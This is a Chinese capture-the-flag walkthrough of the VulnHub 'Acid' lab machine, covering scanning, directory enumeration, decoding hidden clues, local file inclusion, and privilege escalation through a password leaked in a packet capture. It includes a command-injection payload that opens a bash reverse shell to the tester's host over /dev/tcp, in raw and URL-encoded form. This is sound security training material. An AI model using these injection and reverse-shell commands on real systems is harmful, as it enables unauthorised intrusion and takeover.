Acid write up
0x00 靶机搭建
-
下载链接
https://download.vulnhub.com/acid/Acid.rar
-
靶机搭建
VM 启动 网卡设为nat
0x01 信息收集
ip探测
netdiscover -i eth0 -r 192.168.157.0/24
端口服务识别
masscan -p 1-65535 --rate=1000 192.168.157.164
只扫出了 33447端口
到nmap 扫描详细版本信息
nmap -sC -sV -A -p 33447 192.168.157.164 -o port.txt
http服务
33447/tcp open http Apache httpd 2.4.10 ((Ubuntu))
操作系统
OS details: Linux 3.2 - 4.9
0x02 漏洞挖掘
web思路
(1)访问主页 测试各功能点,源码。
(2)同时目录枚举,看是否存在cms等,手工加 扫描器测试漏洞。
步骤一:枚举目录,测试页面
(1)kali dirsearch 枚举目录 windows 御剑枚举
没有什么收获
再用 dirbuster 枚举看看
获取到
/Challenge/include.php
/Challenge/cake.php
/Challenge/hacked.php
(2) 查看主页内容
主页内容
翻译
(3)查看源码
最下边存在一处16进制编码 内容
解码试试
在线解码
https://www.bejson.com/convert/ox2str/
d293LmpwZw==
解码变为 64编码数据
再用base64解密
wow.jpg
考虑是个 .jpg格式 目录遍历出一个 /images/ 可能是 /images/wow,jpg
尝试访问
既然 16进制编码,base64编码留下这个图片 肯定就有用
步骤二:保存图片到本地看看
果然 文件末尾 存在 一串字符
37:61:65:65:30:66:36:64:35:38:38:65:64:39:39:30:35:65:65:33:37:66:31:36:61:37:63:36:31:30:64:34
(1)将: 替换为空
3761656530663664353838656439393035656533376631366137633631306434
看起来像是16进制编码
(2)16进制解码 或者 bp ascii hex 解码
7aee0f6d588ed9905ee37f16a7c610d4
32位 应该是md5 加密算法
(3)MD5解密
63425 可能是某个密码
步骤三:其他页面漏洞挖掘
(1) /Challenge/cake.php 网页标题是 /Magic_Box 应该又是一个目录名字
需要登录后才能访问功能
源码也没其他信息
(2)/Challenge/include.php
输入 123 测试 通过url 感觉像是文件包含
抓包测试是否存在文件包含漏洞
/etc/passwd
存在 (后续可以通过配合文件上传 或者存在的图片马 getshell)
(3)/Challenge/hacked.php
让输入id 尝试之前解密出的 63425 未成功
步骤四:继续枚举目录
/Challenge/Magic_Box
最后枚举出
low.php,command.php
(1)low.php 打开为空 可能需要登录后才能访问
(2) command.php 为 ping主机的命令执行功能
不知道 ping 是否会执行
(3)通过wireshark 分析 执行ping命令成功
(4) 抓包 尝试 192.168.157.137;id
看是否会成功
执行成功
步骤五:利用命令执行反弹shell
(1)网页中输入
192.168.157.137;bash -c ‘exec bash -i &>/dev/tcp/192.168.157.137/8080 <&1’
如果在 bp中输入 需要对其进行url编码
192.168.157.137%3Bbash±c+%27exec+bash±i+%26%3E%2Fdev%2Ftcp%2F192.168.157.137%2F8080+%3C%261%27
(2)反弹shell成功
0x03 提权
按照惯例 su 肯定不能用
先用
python -c 'import pty;pty.spawn("/bin/bash")'
解决一下
步骤 六:内核漏洞查找
(1)uname -a
(2)利用linux提权建议 搜索 未发现可用漏洞
./linux-exploit-suggester.sh -u "Linux acid 3.19.0-15-generic #15-Ubuntu SMP Thu Apr 16 23:32:01 UTC 2015 i686 i686 i686 GNU/Linux"
步骤七:查看/etc/passwd 可疑用户
cat /etc/passwd | grep /bin/bash
只有 root acid saman
步骤八:挨个查看可疑文件 find / -user 用户名 2>/dev/null
(1)查看acid用户下的不报错文件
find / -user acid 2>/dev/null
(2)/sbin/raw_vs_isi/hint.pcapng 可以下载下 到 wireshark分析
python2 搭建 http服务
python -m SimpleHTTPServer 8080
步骤九:分析pcapng包
(1)先看看协议有哪些
发现有tcp arp 等等
(2)筛选tcp查看
按顺序从上往下 复制 data部分 值
到bp中 ascii +hex解码
hello
What was the name of the Culprit ???
罪魁祸首的名字是什么
saman and nowadays he's known by the alias of 1337hax0r
oh...Fuck....Great...Now, we gonna Catch Him Soon :D
Yes .. We have to !! The mad bomber is on a rage
Ohk...cya
Over and Out
之前 /etc/passwd中发现 saman账号
根据数据包中 解码得知
密码可能是
1337hax0r
步骤十:登录saman和root账号
su saman
密码 1337hax0r
登录saman账号
sudo su root
或者
sudo -i
密码 1337hax0r 登录root账号
0x04 总结
本篇靶机难度可以,主要考目录层层枚举。比较花时间。
用的是 dirbuster 中的 目录中字典 22W数据 跑起来比较费时
后续 就根据 枚举出的页面 一一查看 出一个 命令执行功能点 ip;bash反弹shell 执行成功
提权 通过 翻文件找密码
找到一个pcapng的报文 数据包
通过wireshark分析 tcp 数据data部分 16进制解码 得到 密码信息。